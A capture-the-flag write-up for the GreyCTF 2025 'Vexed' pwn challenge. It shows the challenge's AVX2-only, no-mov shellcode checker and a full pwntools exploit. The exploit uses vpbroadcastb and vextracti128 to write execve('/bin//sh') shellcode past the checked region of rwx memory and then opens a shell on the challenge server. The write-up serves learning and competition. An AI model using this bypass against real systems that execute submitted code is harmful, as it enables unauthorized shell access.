Vexed - Pwn Challenge GreyCTF 2025

Summary

Discover constraints need us to utilize only AVX2 specific instructions –> Customize the script and run it locally for debugging purposes –> learn avx2 programming and how the x/y/zmm0-15 registers work –> modify data in front of rip to resemble /bin/sh shellcode –> grey{vexed,VEXed_i_tell_you!}

Initial steps

Up until today I had no idea how AVX extensions worked. So I decided to tackle this challenge and learned a lot in the process. The first step in doing this challenge is examining what we’re given, a server.py file. Strange for a pwn challenge, I’ve made it more debug friendly and attached it below:

    #!/usr/bin/env python3
    import mmap
    import ctypes
    import base64
    from capstone import Cs, CS_ARCH_X86, CS_MODE_64
    from capstone.x86 import X86_GRP_AVX2
    
    # Colors for syntax highlighting
    class bcolors:
        HEADER = '\033[95m'
        OKBLUE = '\033[94m'
        OKCYAN = '\033[96m'
        OKGREEN = '\033[92m'
        WARNING = '\033[93m'
        FAIL = '\033[91m'
        ENDC = '\033[0m'
        BOLD = '\033[1m'
        UNDERLINE = '\033[4m'
    
    def check(code: bytes) -> bool:
        if len(code) > 0x300:
            return False
    
        md = Cs(CS_ARCH_X86, CS_MODE_64)
        md.detail = True
    
        for insn in md.disasm(code, 0):
            # Check if instruction is AVX2
    
            # ============= Added by me
            #print("0x%x:\t%s\t%s" %(insn.address, insn.mnemonic, insn.op_str))
            print(f"0x{insn.address}:   {bcolors.OKCYAN}{insn.mnemonic}{bcolors.ENDC}, {bcolors.WARNING}{insn.op_str}{bcolors.ENDC}")
            # =============
    
            print(f"{bcolors.HEADER}X86_GRP_AVX2 = {X86_GRP_AVX2}{bcolors.ENDC}", end='    ')
            print(f"Groups: {insn.groups}")
            if not (X86_GRP_AVX2 in insn.groups):
    
                # ============= Added by me
                print("AVX2 ONLY!")
                # =============
                raise ValueError("AVX2 Only!")
    
            name = insn.insn_name()
            # No reading memory
            if "mov" in name.lower():
                # Added by me
                print("NO MOVS!")
                raise ValueError("No movs!")
    
        return True
    
    def run(code: bytes):
        # Allocate executable memory using mmap
        mem = mmap.mmap(-1, len(code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
        mem.write(code)
        
        # Create function pointer and execute
        func = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
        func()
        
        exit(1)
    
    
    def main():
        code = input("Shellcode (base64 encoded): ")
        try:
            code = base64.b64decode(code.encode())
            if check(code):
                run(code)
        except Exception as e:
            print("Exception type :", type(e)) # <class 'ValueError'>, <class 'KeyError'>, …
            print("Exception text :", e)       # the message passed to ValueError(...)
            
            print("Invalid base64!")
            exit(1)
    
    
    if __name__ == "__main__":
        main()

It’s just a shellcode challenge, but not quite, as we’re only allowed AVX2 instructions and they mnemonic must not contain “mov”. At this point I fell into a bit of a rabbit hole about learning how AVX2 works, and feeling lost I started querying chatGPT for common ways to load data without “mov”-containing mnemonics, as well as finding this awesome documentation on all the opcodes x86(64) has to offer with all it’s extensions.

Plan

So our plan will be to take this well known shellcode and place it into memory right in front of RIP, only using AVX2 instructions. Because the program does not change the permissions of the page it allocated from rwx -> r-x, we can modify our code at runtime and bypass all checks.

Breakthrough

After looking around for several hours, I’ve discovered that I can move a single byte of my choosing from memory using vpbroadcastb. This opcode basically fills a given ymmX register with the byte pointed to by the second operand. Pretty neat, but where do we get our desired bytes from? Well I also discovered that encoding an opcode like vpbroadcastb ymm0, [rip + 0x31], we get 0x31 in memory, and can just reference this byte using a relative RIP offset. Now all we need is a way to reliably write where we need. After a little more time I’ve also discovered this can be achieved using the vextracti128 instruction, which copies the first 16 bytes of our register into memory. Armed with these two and a debugger, we can locally debug our payload and adjust it fittingly such as the moment the program runs out of our AVX2 instructions, which we’re checked and accounted for by the program, RIP jumps to our shellcode which we’ve built right next to our AVX2 code. This code is unchecked and hence flies right under the radar:

Final Exploit

#!/usr/bin/python3
from pwn import context, remote, asm, log, pause
import base64



context.arch = 'amd64'

p = remote("challs.nusgreyhats.org", 33101)
#p = remote("127.0.0.1", 1337)

def main():
    sc = asm('''
        vpbroadcastb  ymm0, [rip + 0x31]
        vpbroadcastb  ymm0, [rip + 0xf6]
        vpbroadcastb  ymm0, [rip + 0x56]
        vpbroadcastb  ymm0, [rip + 0x48]
        vpbroadcastb  ymm0, [rip + 0xbf]
        vpbroadcastb  ymm0, [rip + 0x2f]
        vpbroadcastb  ymm0, [rip + 0x62]
        vpbroadcastb  ymm0, [rip + 0x69]
        vpbroadcastb  ymm0, [rip + 0x6e]
        vpbroadcastb  ymm0, [rip + 0x2f]
        vpbroadcastb  ymm0, [rip + 0x2f]
        vpbroadcastb  ymm0, [rip + 0x73]
        vpbroadcastb  ymm0, [rip + 0x68]
        vpbroadcastb  ymm0, [rip + 0x57]
        vpbroadcastb  ymm0, [rip + 0x54]
        vpbroadcastb  ymm0, [rip + 0x5f]
        vpbroadcastb  ymm0, [rip + 0x6a]
        vpbroadcastb  ymm0, [rip + 0x3b]
        vpbroadcastb  ymm0, [rip + 0x58]
        vpbroadcastb  ymm0, [rip + 0x99]
        vpbroadcastb  ymm0, [rip + 0x0f]
        vpbroadcastb  ymm0, [rip + 0x05]
        vpbroadcastb  ymm0, [rip + 0x05]

        vpxor ymm0, ymm0, ymm0
        vpbroadcastb  ymm0,  [rip - 0xd7]
        vpbroadcastb  ymm1,  [rip - 0xd7]
        vpbroadcastb  ymm2,  [rip - 0xd7]
        vpbroadcastb  ymm3,  [rip - 0xd7]
        vpbroadcastb  ymm4,  [rip - 0xd7]
        vpbroadcastb  ymm5,  [rip - 0xd7]
        vpbroadcastb  ymm6,  [rip - 0xd7]
        vpbroadcastb  ymm7,  [rip - 0xd7]
        vpbroadcastb  ymm8,  [rip - 0xd7]
        vpbroadcastb  ymm9,  [rip - 0xd7]
        vpbroadcastb  ymm10, [rip - 0xd7]
        vpbroadcastb  ymm11, [rip - 0xd7]
        vpbroadcastb  ymm12, [rip - 0xd7]
        vpbroadcastb  ymm13, [rip - 0xd7]
        vpbroadcastb  ymm14, [rip - 0xd7]
        vpbroadcastb  ymm15, [rip - 0xd7]
        
        vextracti128 [rip + 0x11b], ymm0,  0
        vextracti128 [rip + 0x112], ymm1,  0
        vextracti128 [rip + 0x109], ymm2,  0
        vextracti128 [rip + 0x100], ymm3,  0
        vextracti128 [rip + 0xf7], ymm4,  0
        vextracti128 [rip + 0xee], ymm5,  0
        vextracti128 [rip + 0xe5], ymm6,  0
        vextracti128 [rip + 0xdc], ymm7,  0
        vextracti128 [rip + 0xd3], ymm8,  0
        vextracti128 [rip + 0xca], ymm9,  0
        vextracti128 [rip + 0xc1], ymm10, 0
        vextracti128 [rip + 0xb8], ymm11, 0
        vextracti128 [rip + 0xaf], ymm12, 0
        vextracti128 [rip + 0xa6], ymm13, 0
        vextracti128 [rip + 0x9d], ymm14, 0
        vextracti128 [rip + 0x94], ymm15, 0

        vpbroadcastb  ymm0,  [rip - 0x177]
        vpbroadcastb  ymm1,  [rip - 0x177]
        vpbroadcastb  ymm2,  [rip - 0x177]
        vpbroadcastb  ymm3,  [rip - 0x177]
        vpbroadcastb  ymm4,  [rip - 0x177]
        vpbroadcastb  ymm5,  [rip - 0x177]
        vpbroadcastb  ymm6,  [rip - 0x177]

        vextracti128 [rip + 0x4c], ymm0,  0
        vextracti128 [rip + 0x43], ymm1,  0
        vextracti128 [rip + 0x3a], ymm2,  0
        vextracti128 [rip + 0x31], ymm3,  0
        vextracti128 [rip + 0x28], ymm4,  0
        vextracti128 [rip + 0x1f], ymm5,  0
        vextracti128 [rip + 0x16], ymm6,  0
        ''')

    encoded = base64.b64encode(sc)
    log.info(f"Sending b64 encoded shellcode: {encoded}")

    pause()
    p.sendlineafter(b'):', encoded)

    p.interactive()

if __name__ == '__main__':
    main()